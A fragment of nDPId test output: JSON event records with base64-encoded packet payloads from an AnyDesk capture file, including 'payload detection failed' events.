BTu4j6G6vg9vReAv+yz9AIzYV4afh8dlN6RLVoUyn3b7lZeV93Xfqln5O\/gu1GxYc3p7+rISGQDVKsyTXzLs\/RL9V9HG24EaC\/xMDWseMISv6OLkjW25dEDwvVpaTcYiWgAJJlYRwnfpBmfGZ\/tAJv0fQMML2R5TxBmO\/+Xh4xc5rFlYon2mj48omt694kbEb\/dhdkryNZYL4Cu+Nd5JZljRR\/P44dWqJVaVlnJlSapAOOxh9nhKr+vZ0VS2yDKEpWLdCU6Gpls8xaDb63rRKrGxDIKMmH7lChZ3K4nW7Gsl91lXekmThl7sSMelUqVk+Y\/Da30UoVWRXSKiWVwU0gnufeGfqgFaa8sZW\/v+ojHxuDZgoihJeiAQSVrSkKLkUmF7184Yth9b2Z79ROWA3ZZlXpqwan1pvhym1tZKuRlDV7YISEE3j4JZXi4HujH6kKqzM6OoUBpmdm10Xh0iA6lQAmBURllyLUIqUdE6tqF\/Vk8TmbfHT3BaQUYkgNGvOxAqvqN3hIto0wdA3YX7qRegk1+Dyv\/131XgQXG\/rMgPku\/4oU1Pg2LzBWsVfUd4WWYb0Ix5CmyCSEkwOC637S6rB3P12xErFK+VvYAg8BA4WSxek9ntKT8DqtS\/4hOE+s93JoLcFZSHTkkGgw9FZxn7RzLK9N+wXwcCX0+8kB6t+dd2VmMIUyHTykdBGRbM4sOWoF5VVXkkw2nyHx+aYymnTVEDp6oyBstp9z6hXputS13OcFDQzL6jcWtxtznxVdNdxXEg8KqrA8JesATwy5w7b0rQ+HtgMuPRGIR+DrQcgjaMMjMZW6aw9fhQDbsd3YGbtAta3PK1bYYnhsW4FyPysbMtLgn2OoQ2tc71koTCicwAZD883w2ObTVkA4V2QupFJXuzwJCdWmE7F2Li08NO1g8NgeI+P2kOeBJOz+yOBU\/Pe6\/4EW5ROAGWKarBdnKuGQOg509met6OiNKcWdGuoYwc0hLENijzLwKbRef+e1IxXfaEj9tOOGfEjtMIAxnSle8jsyq99yDbOQRUSSgoSlbluGbB7Hxu7aFx1Pz1fJTuv7EHll7ymbtee1uCrB4yAiDO3BC\/5WwaMT21spR1Os9kCTa+IsU57ammfFTlwiyfVAWPEvvk9L71qxqArwvHNuNXoLAwKJjC3+dRTIYCIvOrdAshT\/Jx7V56Ck7zetM2KtD95JgjGpy7F2ZHSElYpOYqGb5LgGzC7FSr\/rtpkEOT\/maFT60qkcpezR3dAIDOnh1o4faNVuU9NVhBl39o0NxTCZEFaHSj2CmY4k7c05g1h7LcH+5mZNGYQEoO0QW1AL+qEKRyC3cWWX+MC+vri5tCGshA6YLpZWv0DAQ8rNY+h4gHjVWAJ8BcmrZ9t+fnu7wgCKrRGxkNHpa9MW6opxto2jA49V72gnR3SUE7sqL5Ha1VvyIhtaUxKJCADMQBiDJtWKzG9MR6eWfuTX46y4hoFfo5\/9EzdQegbtFRSBcJh1BuRISsJANT\/DY\/4rcJF\/VvVd4MYoNwVUuRfUZ6+PaC6o2Mcaz8ttakVCLYJNWYN8C0IyGzN6gIp2wwfpyFCciKCsqyZzcfbOwvT8H1MUqCOrn0qfUkuxnbZoOz2rKmQ9S\/Nj5ldC89uPvI0neuYwvcoSHOYfL4INaM8i8wD81E\/t+llZNjH19VmzuPFjmnvKonse9ahy\/DJfdpFZnm1shsIOhpXqB6Qt68KJ0e1HAroSiJmDWbPHdpHvmbiHfKM7P1yF+7dWKOymjQG78mH3pvXkGC6RPlY+nAoZo1uLAJZv5WB0\/J9QY4f4QSY5yveLvHGPEd1rwBvtDkib0kTq4EZqXau65EyUD+RVqUVZdy+HKHlu6xg8dZSWCKIG2taMZcyRCFOpIwzOe29pp2mQ4qSTRX4DCBoDNAvDkPo202fLRPz2Lx3bpV5SdHfUtpVR69iQnct6fRW+\/JQxrA09gkVIdeuU3Bfy3Z2wbBdSxCmSjTfzCDkbMyG9S8Ism4AcYQs7PXcV2nnr+a9DnsmMIorwOpcst3UnLOgWvB4jw7qVHsno9zg1uf6po0tq\/ZinpsQ+SqHU8w\/kzg587SYPCsj0ARXMEciA+W3crYcVU2Nr6dm6BCKclM9BElmLyOY79bkachlFWHs0wWW7Uqq7krAcrmDaloPVm5vdqFuSzx8W5nlVnxJyzkrQOE0rTKAH23XwJ5KPLlEMjzKfN1mCK+ceNJYr\/YOjDGjLDwClHbA2zW3IbcKXJ1iWOit\/YTS5TyMOPvaiSfGCFbbwSEEc+0CHO2qaWn0VznGjyGQvhIhBv7eVKlV\/nrBJhq5xROnvByVYE8ORzFjfxS\/G2+nrQHcEkskZOGQAvuB92sxTrRKWe1+rSIM29XN2z+OgQRIjvDIXcsuWPtMYLJcg99TftA3wgLM0VOzpDFCzzlZtCiKY3klp16Ld76CX\/DJa8+EF\/wajl0cA4IM8oEGVS3y\/4koX2MFlLxNaF7\/X\/gUoDxpQ9UrirP\/vdiq6kOuphMhFok6Cdd3tCT0JP7zdh+Mj0ukpvSlxYMcqp6\/I9ZL4CItHnWoajpbkTkvjJWYwzR6os6sbTH+DIhCpwMEablqcEHiFxKgtikIGjORR8H4G1Vj9vrktLPb64hJEhb179Odqit7F3w6PgTb1\/Q7nVyizSlJvsssAYiJ79JApBcwuX\/Ugzfix7CDU9vjvOMqtjBOBosEuEoFeQzPISxvDJlwyXtHVnx7qgqlqaNg3YLtO8q+q7t2S79WNceRUKmUYykWtVDIFA88fAoZg156QZE4um08NbLT\/b\/HbR116x6EoP7SXZ+ORPcwj5rYTW4B2HmWY6XkRx2Ur3TkMrpRk73fTE01OJfg7cKMHnJtK0uL8oIX4fWMrhvwSfGtxWIKsuMnJAgithNDNLbFBZf\/Az8Cher1IUUq2auDFNO94HNOccCGj29mSWs3u252wZ3x70FCbZjPXTGH4Tx\/bKj4p7fGyW7HWgLN8CL6mOPwVrP94f1m\/JHl0AiYWDQpvooU94o25N80Zd31pGqwETNgkFzhsdQFsnDBBP3nSzM\/2lhSx8uTc5vswK1uSc2nbTqL17lxKfGWkfHCH\/YTX\/1iE889ix3iVuVlEem8IrVWPul9IMP4Finn+TQ4RA7LBSSKx2J6YAB3pv9lnabg8XO0By96IBxUwIl+JrMAGH1w21QsslobdcgSP4D2nZoKkFsCM1Tlf9Sou+Fh96wRJHYjp7vvS7gltCBnqsRqV7zl9gRLmQYMyW+gZsbh+DqgS0hwVnuhEmSnx0t\/BpMcnxyEsUHaznvKiOWxSQn1TV7p+v4wr0kKTkFaND8zpZfClMrjEeyVKsBu14YaTbfS2c2sY2nHhDE7UuVSXNnfkvkuBx62DvYMcrocg+mPzjc2AzsQTKxJ5l2cTENIxisrhCjUJPT6UCUQdsezlZVlQZiy5cU\/nx386606sbjNn+mKHCt09t6pf1SR6zgkUCHF99MIaLqEypC4deaierfIdaXQHqoKcyzcgh4cRTk\/ocbsVzX0KWgcamX\/j3L8xUU4eNsxmJSwTuebC1Ge83pm5NdXJy486sppHUGyLI5NXgG0HVTtF5CshfmXXAojrJOG8gEr90JOkdhuWtzliTYxuwr7FcUp7UK3xQ\/yHCwniu4kQVN1bKJtN9Zvj4kT5xM0SXWLVPnQv+5lpCM4PKVe18Sz4BuzrCqvq9EXrXMxV8CIQ1Z5vq4diair+AgBI5KVBXZjTv8xhm4nIv32DwHEUI76DTtKJjtmymhaZUN\/SEpsrJoZodv5Ri\/ddhXYpdW8MHUFpfyk8Sy7xL\/zOuRkfaSnq31vkjvh4OBJ+gA8ZmlmyQpOjOI+ofEKA\/N4P8OEbbiVG0+q94jB9ktd0E8ZrHxiP1oNk0hQ7a9ziKxkdHoBM21K59EEe0X\/hMgP1Y2MMm0DsD6dGQUAyw56TInJyrtfhfEhizeMMqLOGVJxdhYH5wKDIKL3XHjWNhi3brA6OMJDaJA4QKR0qvoxWLoZrN2RomKLrdhnylWAVzwGcb4iAgnhcP5hz37FsX9yCgIIkyNyflabxUJ5pgJ7\/Wl9dpO074XvOP2cVMAgbRJ\/6lgMMkz0sVRLo0qZ\/\/yWienDrH\/NTCJzLNCRkSWfSXoudMsaZIfzQdDbJeewPfJSB345AHwvAExDmYXFi0HeszL6tZRtEupgpYifMxn8okY7\/5c282SEzlLSZV+lYnFBeV1ubnJKxH3GanufV5tF5v9pkStZ29JDrH4QfqSPFTLYWrVg4BsYs0xTO52qmYRdo3SC0PFSXLq9khgT3vgkj+vZTi8YSUOSxnycVYWMV6z2cgmDdD8c1gAiczmkjNCIj5XkT5s0PCl01fBw8DnIjl5hhUQKkbLOf9Q4aTJOVRRNOcfRDVe\/SuuhNr2ZvuWZY6MWhHazDRIcv+us5bs0axR++OfJM86U2Gvubfvuv8DqN6wdPQfH+nEdlaHY83j7JLDOrVfQBRYbGvBA6AUswLZ9cyQriEOVosdAPH7hMMfc+epOKZVQKdj8B0WGJLCyoInptL7C50K4TsqtSxekyUWctlgeKsdyOR5inhP3TEiv7bDDQvZMTS+Qu2+dsU2ivrW9U3dE\/vWBuRZSFEW5Xxrh0OKjUkdhZUacVa4ouFHWFzWpREDJO8KxaA9d7KI0NbEBBFRlK1uSe\/8FtuoGoT42xzkcl9lkoaF54IezL5aGOMpwuCDZHGovHn3rstXl81PxPAghjcc3Yx6KUwa3dVlKnaVGOVEaN2Y536H59JKpYrL+Ej5sMyyDYntXKHKzg3iGdpOEvQSKJkEOGkEiEvRaHNb+AN05sIruCorRcJoOJ1LWw6CC8Z1IPBJ2Kar0z0XyvqlGCJiaSyc8DBl4ju\/Bqu48aQGlwQsg3CgVNaKupz1e1La0EUzx74XUErF5fSVc5BqaSs6X0eAXAaqyFG7kz0auw6Ak5kkjxDJvp4dsg1X\/YKOaN3CbEtev3G\/SEzTJkBnnEMtLlLHJgYNdSj1hOOR3t75j9VctTxkastFkNmWvyF6VGFaekmZeqwBFx7O\/o08WaTgcw8sJPMruSrUzJhS\/0QaeFRQp1HsfFx3iJgKyQU2AJPKDOqYfhLqBV4fH5Rm5+qObqL1cqXKUW2igqZZE+Apugl++Pa9K0+3CXEofSrwEepljMQHydnDVsNz0eS3O\/Hpbh045g5P4vkxqEuVvLRO9MeRhtmjMGQdmchoxZbDHy+r\/6EyqMJvq7cbe2XjaaLvCil+Pg2UxlfHcOcV8PjqwyU5\/FjXiT46GEElWTLA9U9+FcTfimVVVTldP20aAz8qVPs6jK6AIjXnhbppqTJAr639QVnip\/iFNK9Y9B2E6Eu\/d4pe87ElR8ZwRcGBfGsqLakTbRdA1TeoupO0ZfztF\/DkNxBYNAblMMBpkFcZRBB86Wvll2ZoEK2VQ\/pfS6ROrgHhtKAFjaAgzYK\/I62qkJf194eP\/50CkQqAsUgZDKfBdSa8vjgzGB+j709\/g66CkAGim6y\/DU+vjFfHxSnkbR4w2g2Tc6hWh8PqnjSrNKl+hnilLc1euQRZEzTCeV1hu+aa+eq+JvNzEnrY1ly8t9VS8uWrIWZA0SbDjcnN1Wix2cRqNlyY7dCzAk31NxK3z900fAS6o5E4qOG\/H5eoA6cWDhochCnRzn6bkK9RVMooEV55qN3peMS63CXkH0CpY6zhyjbvg4tOi\/hdczCAdryfBGArJmJWqOqE7m8a4DraWCrSlV308zdGtvVcQ7ghkV617Vbuj+UD\/FreV4W6OeyRrZqCT\/rEjMowEkav4mXSO9c0QlAQ9jUdfL7ueFpE+xFllIWRVzJSWVtx1iXulO6QfEivpHqLxZmu\/pluGwAV4\/Wt239Vc8lMYvP3urJXkkpKg3MGRcDCi7Y3YtY8RSosbV7EBqiB811IcupGQeFZ"} +00177{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":980,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":5522} +07817{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":990,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977609,"pkt_ts_usec":388847,"pkt_caplen":5556,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":5556,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAex1AAIAGAADAqAG7wKgBstOUG56PILLzWcQneVAYIA+ExAAAFwMDFXlZ4hNO+msVhbYuT\/7yOl0TCmLlRn67j6T3eiLsG7z5xC6FFkppxUHf8dV\/rs3Jk3Bb\/WtCsizYIKHILQDOPNe6jacxX1K2uF6Mr09XZaXgKm1fRDlYhR81qiOdr9b4pewQPhW+eTHaYDFZqotzpfZuSDGf36kpqOo6tiWlEpB10MKKb9JA27vTYiouq3Gm64ePr\/DFmmIfL2fYO88fanOGoFouzu7LLjh8XKL6SyYQM086Xtt\/GWdSwzFFm99EYGwm\/dFYPbJ4OBkHPHIXXMfc7bBjgXYx4vCxVzx+TGpDxpflr0JD9xyClmimO0CAJmEalW3phMH5jOX9kzjXJ491bhPeD9q4nVci\/AtsPBXLIkBhqFG9P2tSi20jO6jim6\/DUozUvGr1NqlLjtLB8dsq9kfcu07qQO1hMmcFhXbtwv4n9dYBU2RWYZjMAzHVvplowoqfZq0HyzeaJ7naztDyMOFrY2el25xtIvcWPZ8U8phw\/NoF6V8X7epNgPRXhizSHVPH09fe9tZ4LWvx1ei+GC\/uRyXSje0HnZL6mrHr+WZi9jHmP\/lPParA+2QO7vCT2\/28YUcooo3\/Gkh9vfNW491Ehlc5m1sseUNcM9ASMWnHYEJHlWgGCXQk9yCxL860Tbzy1etG+gl3M6G9FLPd+stZjGTz0OHvGj4A3+p49jIRtsL2dqZVmHFn5ILSBzLYGORjFmZ9ksChJ7Nv3BtnO0EEPVnAskswzpV8Kim83ZdVqpl6ydBSLqe4Jmn1+ESGa00IcnbWjKsB6Sx4RgUaXsmeBz8\/zfInPvRbiFEoJgfg4cjNNj\/JxoDUjF3EoTblrCwb11OFaPy+bMPrhhlWpWGuxPPlq3yU79Afdahqf7oEQTNQFSQol5vBlAml5CqGW1XJ6MIQRhkcCHx70YTwJbJKK1jXHpyjUWuTc6EAV3YegVh22fKM1VFe0TPu9+YSfQaYoW0h\/3s2t1\/DAKl1ZMb8ibNpCUpD+3kWpPhL53OV8q68qBY0WdNxLrCBUKBChLenU23c16OUnX4a3BS8aHkwu\/dFF8Z+yu6vVURVlZ+01dKUKXhT3vgvD3A2pV74ggDgvv8yjrlHOhIYkvVoktr\/WIjTKBu55x1sCaPgSld7LoaENFJtC13RL6gMHs+by4K7D4fa331qe\/lstl3mF9UVjaCiv01C9qWRLERrTr4XV5oX3XQmt7ecGoJVOgWfB65NVsKGhBlwb3iDWcnZBtoLZfMcDuqzB+fyCnTHru5S0AjZMmbym3ETH0o4Kw9rZ8EZprbUiJCPquIezXsZCa4vJHfLpAf6oIFvbtAGcMnPKaSzb1Ts91fpDE33JeeIsqyxFDhw7usp7d2R1cMppG9C8SW3hK\/8WGOpjNHWKPQ1bH+MN2bt+3sEQDc+q9Mr97Jx34YlrTX1tPwRBA5yMJhUTTmtHkYfbOadv8IkDMaoHDoUIYdEQflisoWYnyxZpU4yaSIOXKidFyKVK8ijKp+6eI+DCpWMupFTsiBcGtjwyTsqFa+p80ZqisJPwvGVZSb1g1CVUftvEdKacsCp70D2KcNYXXnKk1r1ln8p3wSx\/+AqnaSJL+57vErxo+txD3OdsJmKQFnP1XowjwIxdLQvmyykc+Hg31xnxF70M80Ux\/wD5QUZmbCmp1U+lbE9cInXaoeETo\/V\/5NFIyEWy2v9Du5k26uAeMMHpOzCqHzIINXt3+IP5Xc8t1v+S3wHtWsmUjdNXD+cWeLcoDGQ7l3gOyW95qtywe+k0UCsRIP57stdPTOJ8CijJWuK3ORR6toW417WZcacStLOjBG3kWv0YR7bzN6mnsdcHuuKSldA4EBcg2e2k3kEvG+nh31h7+UaflBHvOzVM4nQISJz70rZORWj+aDIlGg63361teIYutniOjVYmYM\/j3qU17jwwfXc5+bfxpaNet2+Pl9PSdB76FOfn6boVg768m1gN5caMfHyC5NMQlG1WW8nlN4oE90Hdr6qBNtFriGjv+OJxKpJEFTrfcjfsy35tG82VjNSkHs1Yyyg394SB78RoPbPA8kFLCQfSINo5C8XQK4AUaqRK3XaEusCt4BE8xKkXEMyNoNGrAhsV236RqNiurFGyTeP3ZH98ZqNqPNS4FxGY+sOKBNEyZkgtZjH1lQNZub+Ts1UOiYeAxfxfxuKnY7TrSwQ7HzQAI3Woz9z6d8SlH\/JLV1keZjgXnWyS4w0HOGs6FyIMRV2LBYKcZTecgdSOfn8b7D5\/1LLQYdZYXw9LhDvXDc5sjWhixlMA9NImnbr3bfYIyLMepjyJw33pj6thjfkQlWklC+wb2lblfWIPbPlaEzUJPtMpBECx+\/+BTmZonGCu68fTdo3SeS0TJh8SXDGjiOA7dEmkzY\/8BMi3Apz3yXY03M6x4UV8\/+XJ0ycZUDLnzZ2ErtyGba9qUKUzKOmiufj537TiuPJhSeK6BBpB7uovs8j2YSH4eDJj1MUNE8SEKWjPwUdBofWlvwGj8Pk48sShjFmeBOFRMD4fR33sh66uq8pQZwY+soZPcR+gFGJMbCCNVpX2m7ftt7a\/+5kMYYklVq9KJfXoMWaDcPBo5Y18+ML6U6dnRvS3dSBH2LmkZKBY5hTbOU77SqMpUkxO+rRcdW0Dvz6JlGanTKv0xOv3oPBIC3KM1cozo79WDvjVJALJR9FRXrq5loKElNuED\/LDajKIW+A9uh946Fcy+\/of7J9Uh3ErBg43\/4ynTYqAOHem8jYaesAJsyBKxVSt8gDe6FPCzkBs50odHofQlFarxcmSDC9by4r1POM1s\/PU9LYtWgv8K2yKowPazvqt3Sx91jaFrruAeT926+8+1hnTJi+tuz\/q9XQScPpkuTAuVXIehGHwFTRliFpEjRowJLsrY8fnzcUXl+I8ygqZCwPUuzQPCEsNPYhM+LJsy5h58v8yMun8uj+V1fqPRTBCmUdXyFlLfiZsxMxbNWyfhat3M2quqGNd7OBlGczPaEbBp096jJ+Mw7Jd4U4HCJahNf0WVQTi4\/KlJA7TWXByKMu4KGfqPqjRyDcNjWZ8zQgrxVu3M4dLze3JEwVYcYNvmP0cECz\/Ck+clqNe\/WOkcoNftWyTWOMvAgcUt5RE3aWro9XRihWZY30DWU1eUr0s4PFdGDrE34wUTEqpTytc4VPLrKUJNHaHFz1kCA2WzHZDd9gSxzwoYnHAznqEHe08zbuXDt6B5Ygl2NEY4TL7Pp4VTcF1q0Nk0e6rxSyMC0eut\/EX8C3GnTMl5skSAT3rG0jpD3FZAR5PVD+GYtxG3nXLTt2tw84GMD86ZXuCw8E7MrqSMAnU0rYWodtKkcASIkbZZCQfIiK0Qk0tVGFIozY23UVpxnQJQBeSqcthrvF\/CUj0urccB4fqGZjfRmTYaZ89Lp3+aQBB+hnU+yXrXHH6G3YeoQKO\/YPaN11U3Pcy35CR3FGe4ph0tbNkTGKtLeBwzTNYQvQnZVbQPsmLa9viJlFCZL95DhUd4G5OXTKcgAoZjWsCNUycAZz0K6LQjwhVc5j6ergrptSQgULspqmPCf4L2O8cDGJPzXSvM21heci3P0X3OJ6RX0PyhYY4qIxVF4ovXsxN3YOPskBai4wcqep8I2NA\/e\/jKueMa5SrmGMJXUf9QjrYCE9I4WcJuEoYzgtuTzJkLnocKp6yUqFZoWqfrR9Xny8eeJ3PUZiFBIfkP0yV2FFMYcA0L2h28kk5p5XZqBIXUdgQgq8IN1thQ7sseNYOvwLmT5NR1RwCfcS28\/\/43Un9++ud6AeberCIdKw1RbDiOrihhg+4+Ukj1NI7fBskBO8aShgktNNXWZ7Ap+B0poAEZxatYJ6O3s\/+iWy8t+VydZXnubJRKR0W8+2GZ\/WBh+vWmcBYxP+E09qcgEn+oZ\/+leCfzdPtrYqswWMw8u5KXpRC4cb4RLE\/\/iYdNC+FJO9B2bJXqXrqMnc\/ASMRStshp1a0q\/ONvP7\/+lzv36QanAzkvBs4rtK81y5mPz91VAFlLpAFkXCqYQ5Iyi1GkZFczWEIFAxvulTbtgxxJVUXZiKJbMK28UcXtLUokAkhsyl+mdmDCf+x4rgr\/nhNhj3fAiEXRpCR9XdeNino7QoBLIcTpMkt1mHCg0fIe4mFLByr9\/sqJRQb3aChYF3sMvys8tqMX5JCTyYK94nbytIa5kDKXhl2qQhhjmpEKyY\/eUCCH\/obVPbiu8NlMOxSrMK0MQDGdRbBRkc0SAfRErcCWGCTyALzhv1BXhkyYt0mZqilXD\/bJ\/An5lpjH1di1wIquz8TA02iPLeynUeePlAD55VkWMz4T7IvwcFzlAv\/JaFSZvQNeRjQWV8YuVF+sOvb5ExR+ODzFP\/ARalGcuHLzWIas73mVte+h+kx0nD5R05hQ7Z2\/s+\/I\/n6vWIIiB93iL9vyX8\/9KokabgLwlZL+XYaYIgvSuRBnXyH10fKvu6FYCkJICFURdfpV85gcdBk8i+np+uORBWZdDaBBOg3np5qd9+VslMgzB3HCX6lPGMjlNHLMliW5V6BuHVNZyxhx9vRB5LnsStB789lHYabxxI46LSTyrhALbOuh3nPA3yqel2vk1vBSBlJEtmeXlVrKBhSQnYnKz4lZqC90D9ftsXvGnclhR5yplsYRQYBokNK1V6IFK4sXCwjJyiYK+5jgrZXn0G1UOfyRqirX2P6AlNqbri4BNVwbfwNZu0VjuBj03zIXEUiago1c2knBR6bvMobTEjOj1aYDIhwi34pJkNIRG+OypSs\/tCwKLXOhJkdOJ9m2fJHVGMvAi+8Wbx7k23jq3Y2udaY11oyQcbPN98zcBOTNkqK3vvqGg1oRNZcK6pZhXSa6DJMjvJip532R0D+oIuM6qrKCTxyVkVR7DzIYUWxLirM5HpslmLf54QswuOwAvsU\/\/ctHdwO1V7PhUZRO9mhKxIO7N70726GprQFeFGYhW6W0SiHUUkfjgM82opZaljHaLDt1HkIkZWwVTZ\/g8yfNSNYVqvqX3xAd+XQ9eIeEYV8SN4yg+m9A0xwnfwvdZvFTmXkm\/L4pSBRJ+HZO5SCROm0pwlmSYFM3Yt8EHbAMAI7jiE0qbsJAoZcCtMPmagwnN16b7d2UOk+db0RuVpDDpVv+0gfZmQOngNzauWzflEZJOMIIT+ofzgDjxxSl5f0RK6839pQYBH3vkF2QTZMshHU00oRjURRYBATd8nEE1+\/CxBp43rWSIAnWZdD1vYz4zJcPdgAUnyDWz6XPyt3PTzG1yglwj+tpvsVxrzeKVFBWSHflJ2tTpe\/sWJVrTwCilRPElFwCnGFo1ZLyqrj\/StMo8hFbMt4vpkpeZR0IUHJPSvdvPYypyRmcT\/uJZhgmMIyJ4w9DEE+rW7YZfq8BiAu0FWfS3emGsn35iRGsM6Q9wDsWIjERO2t3iGTU\/8gSfNbpvubbhhfDU7LD9U4hpbs5tW1+FkUdclDYvpTUiUB7BDf+HDwY4\/qY+1hFPtB2HA0eHYUMa4Cx0UiiT2SqunrK9jp1KwaMtf9G4qWlPTXjqQAf7XjRqkB63m7RWkaQR01dNsXkKoN\/kkBJus21YlvsuXgPMtVVy\/\/MgULku1h2Tn6aNsdMWHh+391mLOEyEUXhkyIOdRbArlpmbFrdbdUEAGr4S\/VUt23JN7y\/DqralkDH9Dit7mEInIr+ngXmeeicKO9oDENmgeXlvGXod9a8hkq7QuYD12x9z58iBzewnb+o1JmZlNDmc3Ww2EJ3\/dnVhyJhBKdHHqHxE\/IjsXI9wpZm9mLBbOZsnzMgB2I1Ss6+d8JTU2uxsYvdIXMD47a8UxeXgnIn7t\/qeHua9YKxYrJ7RZoSusQq0ZEMRAMYMACKSv8c2TEomW2Btb3msk4ONmN3mfCgv21emZ\/hRjCjg8OSleF7vMdABf3ofzlGDzazDxxfegbUGYzD67wcXNp9Rm703SrU1IZFL4T2N926bn08El8DEhPA0vweyvZgvvf2Jj8eJnTy\/VJ3+akzWPuDi3KD\/zaRcQ2ZM7Vat93fr\/unr1ZEYaXwF484N2g7M5rSgXUJbel3leF6Rge7kFcDYm3KmAFVLDInN4GLE07Ite8IGpKM7v9rZyi3bIDx19VqAF\/v7BBztj4RAM4kBSKIlxPTMlQVOmEA76WVx9fVuMcmQAWARbDRfIeO+DsfPfchyfy2bdbpkjkHvenXajXOnSsUo4dNrnzS8OS14\/vew3pG5SQhdduHRJFXI10ySypu0XNL+0MatfpOkESOn7V0dd9ji0XIOXz0Hopknec+xrc\/6+VYPVkNb\/dNoiOJETj2vjMqYmpyJdDOuGQ+I5NDFntYk0jhYXSy2VF5+bNX3eZzUbopEMxy\/hYFsZ1vLFFxnjFVDHimQCqDyLn2l7AaMmd3AcIS10qXn0Cn2wud2VW6kfpcOJUsd9AsIZZPtqlmqDvllkdrwRWOapU\/e7GzXiBpU3eYY\/qVLSmTfZtRldHXCYMlDYiVnXpvKYn5rCiP+5gcEcnODJDDD6lYmrnQeJ79l60swZvizZAHFiUw2zKs9HPtuYEz3aFuWZGwik+xve0BN1iW5uQGskgnQB5zyBKPqQ8A1zbKhN3hKNEqmviSQgdMg3btXhfeNfsLLsb41FBzmDDI6Ntc3lMO8CUaZxm2Nuntz+P5Lgp1pdtMJtU9DWF9p2l0zmtgikKp8BWX9O0duEBZRdFvfvfs8ZE6f2QxOdiR9Aa2LdX9mLTdeRLRezAzrFeJ0n3V55lRE1VVlMug\/b+N5C6jwdn2HdAy8tu8Y14ULLi5oKOLLCiKnRpTKFqwN\/H6GjOZ5u9I0j0qHmMhjZXwAb\/fFZqG86g6oObxxkFXx1Dq9ftAiyW0WVsJ\/SzSMPG4siw1AUX1F0MIhxj9+ps2VvKvs9tPMDz4sHYKJioBlQCwRWX1Up8S6ZrOSlwTGEaYV+u9YcvrKR2TlztVNy8AD4aqyL4Van+LkjgO0MVrRW0yXpi+e+VzsMKdu6dYQRnkFbVYwQ4BU2nUSroe21UDPU3LXcnG7BTuYg2eQPEgL0xQAdnlxwO1Yq91ANvS1mO+b5jsewEhQB5Y5oX9Pplanlnt53p6VZIRakpPKh0Zy98gJ5vnNtsjMkZ0ZgNDbG9P9H9onOQjxUnjFSeVjjo8f1ncQryj7gyMqV\/\/kCbABp0JunPZpKVmi4wiBgX1ebA6Ll+fT1G1G7Wpd+agJ2DylR0qrM9lbuCD5xZ9Op+FNjMA\/y40RkRuUWE+s4F3wIiEYyfcgTyYYhfwgE2JEuqK4zlV2aDyStupIfhj\/6qPiIqKECJAFXL5wqvjOO0p9epzPHkZWrZml1"} +00177{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":990,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":5522} +06746{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":991,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977609,"pkt_ts_usec":388876,"pkt_caplen":4760,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":4760,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAeyFAAIAGAADAqAG7wKgBstOUG56PIMhxWcQneVAYIA+ExAAAFwMDEl1Z4hNO+msVhgMJxvljVRonwlbij9fH5iyXovyw8qVBNPSxjeQvbYRhk0JL9dd8JZH7UzNS7OrPLUM2Lft1cTkaPFXrD7weV65b6QhqcjOuiLJ1lxodkrSZqWbisoK7L8ztU69e8unRRICJvhUpcjd89\/uVyniggvn+iyTMlAjCEypDSX1ZsnfLwam+MKzcO2VaZ9aEjExxlxDQ4tkIPiEv9m6zhMDx5JG\/AIfco0aYz+peZyESvgtmtwDGeaTT20xn91gGzabTrNLBNC3ufW8Xd108YbAZ4AqNJNeuuXwl73jBhpYg0W4a0IO7zExNKWIyQH4GG\/yTxG41XG8q+dKeiQs7CqBoJqT5oGKwcSSAEQVn8y30sF7YFid7ftcuANEBwVXSTDuWKpcRUM3KBZmNy3MkoDA51aHxfN5ShuYNVyje2oSN+Vx7bhUhah8uNSUTmrfEs016TKdEMWSNBYf3b6M94fXCfLAdY7GA29Eus2X4QKYQpxAl\/xzEUMD3\/z3\/eDlhpvnXKRSroM07AOlzmN\/Ut03KQXXipwl1Plvh5aHpXcnkTcYo0msMbODY2jsRFItTYq0n9jd\/Tm1dUMKeNN93GYCgCBhkZh24sX07DWbPpqF8DZu2g5sWRiZEcHh6CeF3ygPZdr8ed86k\/ev55xLiefYjtQteuKjbTMVpig+WvmkKS8bzHHUfUSa3wzNY\/y3XO7aRwupesuY3INk2GgWlOrDfRcig\/8P6BYUXjl98HmGLhgtMslJpG1doxiygr43QTsbR8aF\/RyBQDyH2UgsBIZwdTXpVjbSxlsOCcB84lqlRpuFmZ1AfQXXQjrDyZjrTNVo03\/ZuqEI6Jq7Xg8MYl4RDzz6RiFnNu237m5cHriSdJcPkNIixE7mlSuKVxmvMaCr4pS\/yCTcXmAFQPhvPsHMlLstG1+atEDXhiqf0KfG\/H9DdJURwRkH9SV77JnTuc4jQe9rwt7EvdD2hVca39\/NZw4A3WrEVuG0ZZFZezI1+GBdaOEv8d7JZjQEnsGLx6GlkksLsjSsEu6okFYOa0tcD0pfduS2FljkhE9DS8vaA\/kTP+Lavv3TaQ\/\/YOLc+RU6hFR7ab5xxOP9XFbClhuwUkewI\/zSe0NYxoqeWKtrCep8JjRyAj17+Wt7wJckwnM7he8Q3lxKnp++WKt1wYcWPmKb4pEB7xmGqZQfaTISAM14Ln\/43NMkTc1RaXcslA8\/SXnRmbq3cDE+XJOz4ZQugH+RSe1f7crkVlpO36NPii19LgRkiYZQ2xyTpLRU2ttKJiv8e\/mkRAuKnCOCD5iTz6Pc22QC2gAwIUMz2JVQ1PXhXRcs155LAODUD+a3Jj91PB\/EYrE89H23FCNUbBtdclZnqYILZwkLBDb\/Bi1DFvGhWvxZFeTj6AOHGlGYbprJ2blnONR8ntSLo+dMPAttEmjYzn2MeStBmbR4yf1U1z7dCW5ZrdJ02v1s0EHu89chjkcMXA\/WQFlQ771kzYr13PlnJSqhBWU+ladIKqgJ3RP+a7Mol8+t7UF0+JJWOgo8M0EZQHqGSR6tNx4J697v7kQFZLR